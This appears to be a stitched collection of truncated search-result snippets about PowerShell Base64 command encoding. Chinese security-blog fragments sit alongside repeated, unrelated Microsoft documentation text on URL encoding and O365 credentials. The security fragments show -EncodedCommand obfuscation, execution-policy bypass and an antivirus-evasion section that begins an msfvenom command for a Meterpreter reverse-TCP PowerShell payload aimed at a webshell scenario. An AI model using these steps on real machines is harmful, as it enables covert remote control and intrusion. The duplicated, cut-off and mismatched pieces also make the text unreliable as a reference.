$StringMsg = "PowerShell Base64 Encode Example" # Gets the bytes of String $StringBytes = [System.Text.Encoding]::Unicode.GetBytes($StringMsg) # Encode string content to Base64 string $EncodedString =[Convert]::ToBase64String($StringBytes) Write-Host "Encode String: " $EncodedString 确保...
使用编码的方式执行whoami命令,我们首先使用下面的命令来进行编码 $command="whoami"$bytes= [System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand= [Convert]::ToBase64String($bytes)echo$encodedCommand 这串代码执行完之后就会打印出编码结果,之后直接执行即可powershell.exe -EncodedCommand $encodedComman...
0x06 使用-EncodeCommand参数 通过Unicode / Base64编码串这种方式加密脚本,可以绕过所有通过"Command"参数执行时会遇到的错误,算是一个Command的加强版。 代码语言:javascript 代码运行次数:0 运行 AI代码解释 $command="Write-Host 'this is a test'"$bytes=[System.Text.Encoding]::Unicode.GetBytes($command)$...
-exec bypass忽略执行策略文件,-File指定文件。 3. Encode 使用加密方式绕过,首先需要将命令 Unicode 加密,再 base64 加密即可,命令如下: $commond ="write-host 'my name is mntn'" $bytes = [System.Text.Encoding]::Unicode.GetBytes(commond) $encodeCommand = [Convert]::ToBase64String($bytes) $encode...
EncodedCommand（-enc）: 接受base64 encode的字符串编码，避免一些解析问题 2 | 0 powershell加载shellc...
For query parameters, the cmdlet uses the System.Net.WebUtility.UrlEncode method method to encode the key-value pairs. For more information about encoding strings for URLs, see the UrlEncode() method reference. When the input is a POST request and the body is a String, the value to the ...
$oauthTokenAsPassword = ConvertTo-SecureString '<EncodedOAuthToken>' -AsPlainText -Force $o365cred = New-Object System.Management.Automation.PSCredential ("admin@contoso.onmicrosoft.com", $oauthTokenAsPassword) $Session = New-PSSession -ConfigurationName Micro...
For query parameters, the cmdlet uses the System.Net.WebUtility.UrlEncode method method to encode the key-value pairs. For more information about encoding strings for URLs, see the UrlEncode() method reference. When the input is a POST request and the body is a String, the value to the ...
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题 bypass Anti-Virus 如果考虑实际情况,假设我们获取了一个webshell。以上的几种方法只有IEX可以远程加载直接运行,其余都需要上传ps木马再绕过执行策略。 msfvenom生成ps木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.203.140 ...
For query parameters, the cmdlet uses the System.Net.WebUtility.UrlEncode method method to encode the key-value pairs. For more information about encoding strings for URLs, see the UrlEncode() method reference. When the input is a POST request and the body is a String, the value to the ...